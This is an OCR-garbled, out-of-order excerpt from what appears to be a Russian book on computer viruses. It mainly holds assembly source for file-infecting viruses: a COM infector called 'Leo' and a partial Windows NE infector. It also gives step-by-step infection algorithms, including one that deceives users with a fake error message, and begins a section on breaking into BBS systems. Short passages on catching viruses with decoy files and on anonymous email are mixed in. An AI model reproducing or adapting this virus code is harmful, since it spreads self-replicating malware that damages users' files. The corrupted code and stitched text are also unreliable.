
Open:

mov ax,3D02h

mov dx,9Eh

int 21 h

;Если при открытии файла ошибок не произошло -

.переходим к чтению, иначе выходим из вируса

jnc See_Him

jmp exit

;Читаем первый байт файла

See_Him:

xchg bx.ax

mov ah,3Fh

mov dx.offset buf-offset myself

add dx,bp

xor ex,ex ;CX=0

inc ex [(увеличение на 1) СХ=1

int 21 h

.Сравниваем. Если первый байт файла

;не E9h, то переходим к поиску следующего файла -

;этот для заражения не подходит

cmp byte ptr [bp+(offset buf-offset myself )],OE9h

jne find_next

; Переходим в начало файла

mov ax,4200h


xor ex,ex

xor dx.dx

int 21 h

[ Читаем первые три байта файла в тело вируса

See_Him2:

mov ah,3Fh

mov dx,offset bytes_3-offset myself

add dx.bp

mov cx,3

int 21 h

.Получаем длину файла, для чего переходим в конец файла

Testik:

mov ax,4202h

xor ex,ex

xor dx.dx

int 21h

Size_test:

;Сохраняем полученную длину файла

mov [bp+(offset flen-offset MySelf)],ax

[Проверяем длину файла

cmp ax.64000

;Если файл не больше 64000 байт,- переходим

;к следующей проверке,

;иначе ищем другой файл (этот слишком велик для заражения)

jna richJest

jmp find_next

Проверим, не заражен ли файл.

;Для этого проверим сигнатуру вируса

RichJest:

[Переходим в конец файла (на последний байт)

mov ax,4200h

xor сх.сх

mov dx,[bp+(offset flen-offset MySelf)]

dec dx

int 21h

;Читаем сигнатуру вируса

Read:

mov ah,3Fh

xor ex,ex

inc ex

mov dx,offset bytik-offset myself

add dx.bp

int 21 h

;Если при чтении файла ошибок

;не произошло - проверяем сигнатуру,

.иначе ищем следующий файл

jnc test_bytik

jmp tind_next

;Проверяем сигнатуру

Test_bytik:

cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte

;Если сигнатура есть, то ищем другой файл,

.если нет - будем заражать

jne NotJnfected

jmp find_next

.Файл не заражен - будем заражать

NotJnfected:

mov ax,[bp+(offset flen-offset myself)]

sub ax,03h

mov [bp+(offset jmp_cmd-offset myself)],ax

l_am_copy:

.Переходим в конец файла

mov ax,4202h

xor ex,ex

xor dx.dx

int 21 h

[Устанавливаем регистр DS на сегмент кода

push cs

pop ds

.Копируем вирус в файл

mov ah,40h

mov ex,offset VirEnd-offset la

mov dx.bp

sub dx,offset myself-offset la

int 21 h

Записываем в начало файла переход на тело вируса

Write_Jmp:

.Переходим в начало файла

хог сх.сх

xor dx,dx

mov ax,4200h

int 21 h

[Записываем первые три байта файла (переход на тело вируса)

mov ah,40h

mov сх,3

mov dx.offset jmpvir-offset myself

add dx.bp

int 21h

;3акрываем файл

Close:

mov ah,3Eh

int 21h

;Восстанавливаем оригинальные атрибуты файла

mov ax,4301h

mov dx,9Eh

pop ex

int 21h

exit:

восстанавливаем первоначальные значения регистров и флагов

pop es ds

рора

popf

Передаем управление программе-носителю

push 100h

retn

-.Байт для чтения сигнатуры

bytik db (?)

.Зарезервировано для изменения трех байт вируса

jmpvir db OE9h

jmp_cmd dw (?)

;Длина файла

flen dw (?)

;Шаблон для поиска файлов

fname db "*.com",0

;0бласть для хранения команды перехода

bytes_3 db 90h, 90h, 90h

;Байт памяти для чтения первого байта файла

;с целью проверки (Е9п)

buf db (?)

;Название вируса

virus_name db "Leo"

;Сигнатура

a db CheckByte

VirEnd:

code ends

end start

Test.com

cseg segment
assume cs:cseg, ds:cseg, ss:cseg
org -lOOh
Start:
db 1249 dup (OFAh,90h,OFBh,OF8h)
1 60 Методы борьбы с вирусами
mov ah,4Ch
int 21h
cseg ends
End Start

Test.exe

cseg segment
assume cs:cseg, ds:cseg
Start:
db 1000 dup (OFAh,90h,OFBh,OF8h)
mov ah,4Ch
int 21h
cseg ends
sseg segment stack
assume ss:sseg
db 118 dup (OFAh,90h,OFBh,OF8h)
sseg ends
End Start
Скопируем приманки на зараженную машину. Выполним над ними как
можно больше операций: запустим, скопируем в другое место винчесте-
ра и на дискету, переместим, просмотрим их в NC и DOS (командой
dir). При этом желательно несколько раз поменять системное время
и дату, потому что вирусы нередко активны не каждый день и не круг-
лые сутки. Чтобы исключить Stealth-эффект, загрузимся с чистой дис-
кеты и рассмотрим внимательно эти файлы. Как правило, достаточно
бывает проконтролировать размер файлов и просмотреть их код при
помощи F3 - наличие вируса определить несложно.
в) Выделение нерезидентного файла. Самый неприятный случай.
Помимо того, что вирус нередко привередничает, распознавая
приманку, и по-прежнему отказывается работать "без выходных
и отпусков", так еще и заражаемость программ сильно зависит от
их расположения на винчестере. Одни нерезидентные вирусы за-
ражают только в текущем каталоге, другие - только в подкатало-
гах 1-го уровня, третьи - в каталогах, указанных в строке path
системной среды (Vienna), четвертые - вообще во всех каталогах
винчестера. Поэтому воспользуемся программой типа it, чтобы
скопировать приманки во все каталоги диска (запускаем из кор-
невого каталога):
rt copy a:\test.* .
Точка "." в конце - символ текущего каталога. Потом их можно будет
удалить:
rt del test*
Теперь выбираем заведомо зараженную программу и запускаем ее N раз,
постоянно изменяя время и дату. Проконтролировать изменение длины
поможет та же программа rt:
rt dir test.* >test.txt
Получаем файл test.txt, содержащий список файлов test.* с указанием
их длины. Выбираем тот файл приманки, который изменил длину.
Вот вирус и пойман.

Тип 1.

Пример: http://www.europe.com. Службы этого типа дают
пользователю возможность перенаправлять полученную на новый адрес
корреспонденцию по указанному пользователем адресу. Таким образом,
в наличии уже должен быть какой-либо адрес почты, поскольку исполь-
зуя протокол РОРЗ почту забрать нельзя. Отправление почты осуществ-
ляется напрямую через хост этой службы (протокол SMTP). Существу-
ет, правда, 60-дневный период, в течение которого можно пользоваться
и обычным почтовым ящиком (РОРЗ), после истечения периода -
за деньги. Пользователь самостоятельно выбирает userid, а также домен
из нескольких (бесплатно) или многих (платно) предложенных имен,
например: iname.com, writeine.com, girls.com, boys.com. Выполнив не-
сложные инструкции, можно стать обладателем нового адреса, скажем
ohhhhhhh@girls.coin. В процессе заполнения анкеты нужно указать свою
страну (например, Албания), имя (тут вариантов мало, все пишут Иван
Петров или Петр Иванов) и адрес, на который должна пересылаться
вся приходящая корреспонденция. Этот адрес впоследствии можно лег-
ко изменить. Вот и все! Недостаток: настоящий адрес пользователя из-
вестен сотрудникам службы.

Тип 2.

Службы этого типа дают пользователю возможность как отправ-
лять почту напрямую, так и получать ее (РОРЗ и SMTP), так что пер-
вичный адрес либо совсем не нужен, либо потребуется всего лишь раз,
при открытии счета. Для этих целей можно использовать адрес прияте-
ля или адрес в Hotmail (см. ниже). Пример: http://www.geocities.com
или http://www.netaddress.com
(возможности последней даже шире, она
позволяет помимо РОРЗ и SMTP читать и отправлять почту из окна
браузера, поэтому службу можно отнести и к типу 3). Технология от-
крытия счета примерно такая же. Преимущество: настоящий первичный
адрес неизвестен, единственный "след", который остается, это IP-адрес,
с которого происходит чтение и отправление почты. Службы также
дают возможность перенаправлять почту на первичный адрес, если есть
такое желание. Кроме того, практически почту пользователя смогут
прочесть только администраторы службы, а не московский провайдер
или ФАПСИ с ФСБ, хотя теоретически и это возможно.

Тип 3.

Принципиально другой тип службы. Чтение и отправление почты
происходят без использования почтовой программы, прямо в окне брау-
зера. Пример: http://www.hotmail.com. Переадресация на первичный ад-
рес невозможна. Преимущества: можно читать почту с любого компьюте-
ра с доступом в WWW, будь то другая страна или Интернет-кафе
в Южном Бутово, плюс опять же сложности отслеживания почты. Недо-
статок: не очень удобно пересылать файлы - в каждом письме' можно
отправить только один файл и только с использованием Netscape
Navigator 2.0 и выше или Internet Explorer 4.0 и выше. Совсем не слож-
но, зато как удобно! Стоит также отметить сайт http://www.mailcity.com,
который позволяет создавать неограниченное количество копий и слепых
копий адресов. Эта программа на основе Web - воплощенная мечта для
тех, кто занимается массовой рассылкой писем. И в заключении еще одно
важное соображение касательно privacy. При отправлении почты через
любую из этих служб, заголовок сообщения содержит IP адрес, с которо-
го отправлено сообщение. Даже Hotmail это делает. Но, если при отправ-
ке сообщения с использованием почтовых служб первых двух типов
скрыть свой реальный IP адрес нельзя (это связано с самим принципом
работы протокола SMTP), то при использовании почтовой службы тре-
тьего типа, то есть при отправлении почты из окна браузера, лазейка все
же есть. Это говорит о том, что почтовый адрес третьего типа можно сде-
лать практически полностью анонимным, достаточно лишь воспользо-
ваться одним из способов анонимизации своих путешествий по сети. Как
это сделать написано в разделе "На FTP-сервер под чужим IP-адресом".

Устройства


Вход:
AH=03h
Выход:
AL - символ, введенный со стандартного вспомогательного устройства
Описание.
Считывает (ожидает) символ со стандартного вспомогательного устрой-
ства, СОМ1 или AUX и возвращает этот символ в AL.
Примечание.
Ввод не буферизуется и должен опрашиваться (не управляется преры-
ваниями). При запуске DOS порт AUX (COM1) инициализируется так:
2400 бод, без проверки на четность, 1 стоп-бит, 8-битные слова. Коман-
да DOS MODE используется для установки иных характеристик.

В исполняемом файле Windows содержатся



В исполняемом файле Windows содержатся в различных комбинациях

код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-

грамм. Учитывая возможность запуска файла из DOS, формат данных

должен распознаваться обеими системами - и DOS, и Windows.

Для этого все исполняемые файлы под Windows содержат два заголов-

ка. Первый заголовок (старый) - распознается DOS как программа, вы-

водящая на экран "This program requires Microsoft Windows". Второй

заголовок (NewEXE) - для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата

WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для

DOS и программы (STUB), которая выводит сообщение "This program

requires Microsoft Windows".

Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,

значит по смещению 3Ch находится смещение заголовка NewEXE.

Заголовок NewEXE начинается с символов "NE". Далее идет собствен-

но заголовок, в котором содержатся различные данные, в том числе ад-

реса смещений таблиц сегментов, ресурсов и другие. После заголовка

расположена таблица сегментов, за ней - все остальные таблицы, далее

размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий

сегмент вируса.

4. CS:IP NewEXE изменяется на начало вирусного кода, само тело

вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21h из-под

Windows) необходимо использовать функции DPMI (INT 31h). Дей-

ствия: выделение сегмента, изменение его прав доступа, запись вируса,

перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows.

Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-

ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.

.286


.MODEL TINY

.CODE

;Сохраним регистры и флаги

pushf

pusha

push ds

push es

.Проверим, доступен ли DPMI. Если доступен,

Продолжаем, если нет - выходим

mov ax,1686h

int 2Fh

or ax, ax

jz dpmi_exist

;Восстановим регистры и флаги

exit:

pop es

pop ds

popa

popf

.Запустим программу-носитель

db OEAh

reloclP dw 0

relocCS dw OFFFFh

dpmi_exist:

; Выделим линейный блок памяти, используя DPMI

mov ax,0501h

mov cx,OFFFFh

xor bx.bx

int 31 h

;Сохраним индекс и 32-битный линейный адрес

.полученного блока памяти в стеке

push si ~^

push di

push bx

push ex

;Создадим дескриптор в таблице LDT

хог ах,ах

mov ex, 1

int 31 h

;B поле адреса полученного дескриптора

.установим адрес нужного блока памяти

mov bx,ax

mov ах,7

pop dx

pop ex

int •31h

;B поле предела полученного дескриптора

остановим размер выделенного блока памяти

mov ах,8

mov dx,OFFFFh

хог сх.сх

int 31h

;В поле прав доступа полученного дескриптора установим значение,

соответствующее сегменту данных, доступному для чтения и записи

mov ах,9

mov cl, 1111001 Ob

хог ch,ch

int 31h

;3агрузим селектор в регистр DS. После этого регистр DS будет

оказывать на выделенный блок памяти

mov ds.bx

.Читаем из стека и сохраняем в памяти

;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

Получим текущую DTA

mov ah,2Fh

int 21 h

mov [DTA],bx

mov [DTA+2],es

;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)

mov ah,4Eh

xor ex,ex

mov dx,OFFSET wild_exe

push ds

push cs

pop ds

int 21 h

pop ds

;Если файл найден, перейдем к заражению, иначе освободим

;выделенную область памяти и запустим программу-носитель

jnc found_exe

;0свободим выделенную область памяти

call free

.Запустим программу-носитель

jmp exit

.Перейдем к следующему файлу - этот не подходит

close_exe:

; Закроем файл

mov ah,3Eh

int 21h

;Найдем следующий файл

mov ah,4Fh

int 21h

;Если файл найден, перейдем к заражению, иначе освободим

-.выделенную область памяти и запустим программу-носитель

jnc found_exe

;0свободим выделенную область памяти

call free

;3апустим программу-носитель

jmp exit

; Файл найден, проверим его на пригодность к заражению

found ехе:

;0ткроем файл для чтения и записи

push ds

Ids dx, DWORD PTR [DTA]

add dx.lEh

mov ax,3D02h

int 21 h

pop ds

.Прочтем старый заголовок

mov dx.OFFSET old_hdr

mov bx.ax

mov cx,40h

mov ah,3Fh

int 21h

;Проверим сигнатуру, это ЕХЕ-файл?

cmp WORD PTR [old_hdr],"ZM"

jne close_exe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;РЕ-, LE-, LX-executable или другой

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

.Перейдем ко второму заголовку (может быть, это NewEXE?):

Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx.WORD PTR [old_hdr+3Ch]

mov cx.WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

; Прочитаем второй заголовок

mov dx.OFFSET newJ-idr

mov ex,40h

mov ah,3fh

int 21h

[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл

cmp WORD PTR [new_hdr],"EN"

jne close_exe

[Проверим, для Windows ли предназначен этот файл. Если да, будем

;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

.Переместим указатель чтения/записи в таблицу сегментов,

;к элементу, обозначающему сегмент точки старта программы.

[Для этого прочтем значение регистра CS при запуске

[этого ЕХЕ-файла

mov dx.WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему

[элемента в таблице сегментов

dec dx

shi dx,3

;K результату прибавим смещение таблицы сегментов и смещение

.заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx.WORO PTR [old_hdr+3ch]

mov cx.WORD PTR [old_hdr+3eh]

[Переместим указатель чтения/записи

mov ax,4200h

int 21 h

[Прочтем из таблицы сегментов смещение логического сектора

mov dx,OFFSET temp

mov ex, 2

mov ah,3Fh

int 21 h

. Вычислим смещение сегмента, опираясь на значения

.смещения логического сектора и множителя секторов

mov dx.WORD PTR [temp]

mov cx.WORD PTR [new_hdr+32h]

xor ax.ax

cal_entry:

shi dx,1

rcl ax,1

loop cal_entry

.Переместим 16 старших бит 32-битного результата в регистр СХ

mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)

add dx,WORD PTR [new_hdr+14h]

adc cx.O

;Переместим указатель позиции чтения/записи на точку старта

.программы - результат вычисления

mov ax,4200h

int 21 h

;Считаем первые 10 байт после старта программы

mov dx, OFFSET temp

mov cx,10h

mov ah,3Fh

int 21 h

Проверим, заражен ли файл. Если считанные 10 байт в точности

;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.

;В этом случае переходим к поиску следующего, иначе - заражаем

mov si.OFFSET temp

push cs

pop es

xor di.di

mov ex, 8

eld

rep cmpsw

jne ok_to_infect

jmp close_exe

Приступим к заражению

ok_to_infect:

Переместим NE-заголовок на 8 байт ближе к началу файла.

; Исправим соответствующие поля старого заголовка

sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8

sbb WORD PTR [old_hdr+3eh],0

; Исправим значения таблиц в новом заголовке, чтобы переместились

;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP

push WORD PTR [new_hdr+14h]

pop [hostJp]

pushTWORD PTR [new_hdr+16h]

pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим

;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

.Переместим указатель чтения/записи в начало файла

;(к старому заголовку)

хог сх.сх

xor dx.dx

mov ax,4200h

int 21 h

;3апишем старый заголовок, так как модифицированы

;некоторые поля его копии в памяти


mov dx.OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового

заголовка (его переместили на 8 байт к началу файла)

mov dx.WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h

int 21 h

; 3апишем новый заголовок, так как в его копии

;в памяти некоторые поля модифицированы

mov dx, OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

.Переместим указатель чтения/записи на 8 байт

;вперед - к началу таблицы сегментов

хог сх.сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память

mov dx,OFFSET temp

mov cx.WORD PTR [new_hdr+1ch]

dec ex

shi cx.3

push ex

mov ah,3Fh

int 21h

Переместим указатель чтения/записи назад, к позиции

;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

int 21h

;3апишем таблицу сегментов в файл, но не на ее прежнее место,

;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop ex

mov ah,40h

int 21h

.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)

xor сх,сх

xor dx.dx

mov^ ax,4201h

int 21 h

;Сохраним в стеке текущую позицию чтения/записи

push dx

push ax

.Получим длину файла, переместив указатель

^тения/записи в конец файла

xor сх.сх

xor dx,dx

mov ax,4202h

int 21 h

;Сохраним в стеке длину файла

push dx

push ax

;Вычислим и сохраним длину логического сектора

mov cx.WORD PTR [new_hdr+32h]

mov ax,1

shi ax.cl

mov [log_sec_len],ax

;Вычислим длину файла в логических секторах

mov сх.ах

pop ax

pop dx

div ex

-.Учтем неполный сектор. Если в результате получился

;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax

no_rmd:

;3аполним поля нового элемента в таблице сегментов

mov [my_seg_entry],ax

Формат Portable Executable используется Win32,



Формат Portable Executable используется Win32, Windows NT

и Windows 95, что делает его очень популярным, и в будущем, возмож-

но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-

но отличается от NE-executable, используемого в Windows 3.11.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмот-
рим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого ин-
фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным
кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением
СОМ. Вирус активируется, если при запуске программы в командной
строке указано только имя исполняемого файла. Дело в том, что, если
не указано расширение файла, DOS сначала ищет в текущем каталоге
файл с заданным именем и расширением СОМ. Если СОМ-файл с та-
ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если
не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)
файл. В случае отсутствия в текущем каталоге исполняемого файла
с указанным именем поиск ведется во всех каталогах, доступных
по переменной PATH. Другими словами, когда пользователь хочет за-
пустить программу и набирает в командной строке только ее имя
(в основном так все и делают), первым управление получает вирус,
код которого находится в СОМ-файле. Он создает СОМ-файл еще
к одному или нескольким ЕХЕ-файлам (распространяется), а затем
исполняет ЕХЕ-файл с указанным в командной строке именем. Поль-
зователь же думает, что работает только запущенная ЕХЕ-программа.
Вирус-спутник обезвредить довольно просто - достаточно удалить
СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (про-
граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный
код. При запуске такой инфицированной программы управление полу-
чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один
или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-
нальному файлу исполняемое расширение (но не ЁХЕ, а СОМ, по-
скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-
няет его. Когда работа инфицированной программы закончена, ее
запускаемому файлу возвращается расширение неисполняемого. Лече-
ние файлов, зараженных вирусом этого типа, может быть затруднено,
если вирус-спутник шифрует часть или все тело инфицируемого файла,
а перед исполнением его расшифровывает.

Вирусы-спутники сейчас широко распространены - соотношение
companion и parasitic вирусов примерно один к двум.

Вирусы, внедряющиеся в программу (Parasitic)


Вирусы этого вида самые незаметные: их код записывается в инфици-
руемую программу, что существенно затрудняет лечение зараженных
файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.


Эти вирусы являются самыми "хитрыми". Поскольку такой вирус вне-
дряется в инфицируемую программу, это дает ему много преимуществ
перед всеми вышеописанными вирусами: на диске не появляются лиш-
ние файлы, нет забот с копированием и переименованием, кроме того,
усложняется лечение инфицированных файлов.

Вирусы, замещающие программный код (Overwrite)


Такие вирусы уже стали раритетом. Главный их недостаток - слишком
грубая работа. Инфицированные программы не исполняются, так как
вирус записывается поверх программного кода, не сохраняя его. При
запуске вирус ищет очередную жертву (или жертвы), открывает найден-
ный файл для редактирования и записывает свое тело в начало про-
граммы, не сохраняя оригинальный код. Инфицированные этими виру-
сами программы лечению не подлежат.


Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-
ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,
соревнование в написании самого маленького overwrite-вируса. На дан-
ный момент самый маленький из известных overwrite-вирусов написан
Reminder'ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
1. Открыть файл, из которого вирус получил управление.
2. Считать в буфер код вируса.
3. Закрыть файл.
4. Искать по маске подходящий для заражения файл.
5. Если файлов больше не найдено, перейти к пункту 11.
6. Открыть найденный файл.
7. Проверить, не заражен ли найденный файл этим вирусом.
8. Если файл заражен, перейти к пункту 10.
9. Записать в начало файла код вируса.
10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - пусть
пользователь не слишком удивляется тому, что программа не запу-
стилась.
12. Завершить программу.

Внедрение способом переноса

Вирусы данного типа размножаются следующим образом. Из инфициру-
емой программы от начала файла считывается часть кода, по длине рав-
ная длине вируса. На освободившееся место вписывается вирус,
а оригинальное начало программы переносится в конец файла. Отсюда
и название метода - "метод переноса". Есть и другие варианты. Иногда,
например, начало программы записывается в середину файла, а середина
переносится в конец, чтобы еще сильнее все запутать. Превосходство дан-
ного метода над другими описанными в том, что инфицированная про-
грамма исполняется в том же виде, в каком она была до заражения,
из файла с тем же именем и расширением. То есть программы, проверя-
ющие себя на предмет заражения вирусом, его не замечают. Корректно
исполняются и такие программы, которые ищут свои файлы конфигура-
ции с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьюте-
ра. Если при исполнении инфицированной программы компьютер
"повиснет" или произойдет перезагрузка системы, инфицированная
программа окажется "чистой", то есть без вируса. Но, во-первых, "кто
не рискует, тот не пьет шампанского", а во-вторых, программы виснут
редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла фрагмент программы,
по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало программы из буфера.
Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной программы, расположен-
ное в конце файла.
14. Записать считанное начало программы поверх кода вируса в начало
файла.
15. Сократить файл до его оригинальной длины (то есть удалить часть
кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис-
полнение - выполнится инфицированная программа.
18. После завершения работы программы опять открыть стартовый
файл.
19. Записать в начало файла тело вируса, а оригинальное начало про-
граммы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.

Внедрение способом сдвига

Инфицируемая программа размещается в файле после кода вируса,
сдвигаясь на его длину, отсюда и название метода. Алгоритм работы
вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл,
но можно и не слишком большой ЕХЕ - это связано с тем, что все
тело инфицируемой программы считывается в память и ее может не
хватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело программы из буфера.
Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы, расположенное
в файле после тела вируса.
14. Создать на диске временный файл с расширением СОМ или ЕХЕ
(в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на исполнение -
выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что
написать вирус на языке высокого уровня весьма трудно. Это не совсем
так. Писать на языке Pascal довольно легко, правда величина получен-
ного кода вызывает благоговейный трепет.

Второй адрес


Проблема защиты частной жизни в сети ставит перед пользователями
вопрос об обладании вторым (третьим... десятым) электронным адресом.
Его хорошо иметь там, где почту не будут читать, и в том домене, гео-
графическая принадлежность которого "нейтральна". В общем, все те
же требования, что и ко второму паспорту и гражданству. Наличие та-
кого адреса защищает от попыток выяснить личность пользователя, дает
возможность предоставлять разные адреса разным корреспондентам
в зависимости от их статуса, избавляет от необходимости извещать всех
корреспондентов о новом адресе, если пользователь сменил провайдера
или переехал в другую страну. Существует довольно много служб, по-
зволяющих бесплатно получить второй электронный адрес. По способу
отправки и получения почты эти службы можно разделить на три ос-
новных типа.

Второй макрос (английский):

Sub Demo_Macro
With Selection.Font
.Name="Times"

Вряд ли стоит напоминать, что

Вряд ли стоит напоминать, что компьютеры стали настоящими помощ-

никами человека и без них уже не может обойтись ни коммерческая

фирма, ни государственная организация. Однако в связи с этим особен-

но обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной техни-

ке, взбудоражили весь мир. Многие пользователи компьютеров обеспо-

коены слухами о том, что с помощью компьютерных вирусов злоумыш-

ленники взламывают сети, грабят банки, крадут интеллектуальную соб-

ственность...
Все чаще в средствах массовой информации появляются сообщения

о различного рода пиратских проделках компьютерных хулиганов, о по-

явлении все более совершенных саморазмножающихся программ. Совсем

недавно заражение вирусом текстовых файлов считалось абсурдом - сей-

час этим уже никого не удивишь. Достаточно вспомнить появление "пер-

вой ласточки", наделавшей много шума - вируса WinWord. Concept, по-

ражающего документы в формате текстового процессора Microsoft Word

for Windows 6.0 и 7.0.
Хочется сразу заметить, что слишком уж бояться вирусов не стоит, осо-

бенно если компьютер приобретен совсем недавно, и много информации

на жестком диске еще не накопилось. Вирус компьютер не взорвет.

Ныне известен только один вирус (Win95.CIH), который способен ис-

портить "железо" компьютера. Другие же могут лишь уничтожить ин-

формацию, не более того.
В литературе весьма настойчиво пропагандируется, что избавиться от

вирусов можно лишь при помощи сложных (и дорогостоящих) антиви-

русных программ, и якобы только под их защитой вы можете чувство-

вать себя в полной безопасности. Это не совсем так - знакомство с осо-

бенностями строения и способами внедрения компьютерных вирусов

поможет вовремя их обнаружить и локализовать, даже если под рукой

не окажется подходящей антивирусной программы.

Вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME

Взлом BBS


Существует большое количество программ, предназначенных для созда-
ния и поддержания работы BBS. Рассмотрим самую популярную среди
них - Maximus.
Несанкционированно проникнуть на BBS, получить доступ к закрытым
областям, уничтожить информацию - такие задачи ставит перед собой
взломщик.
Существуют так называемые списки файлов, в которых содержится ин-
формация о доступных пользователям этой BBS ресурсах. Как правило,
такие списки есть в каждой специальной тематической конференции.
Пользователи могут скопировать оттуда какой-либо файл или оставить
свой. В программе Maximus списком всех файлов, доступных в конфе-
ренции, является файл с названием files.bbs.
Специально для этой программы создан язык программирования, схожий
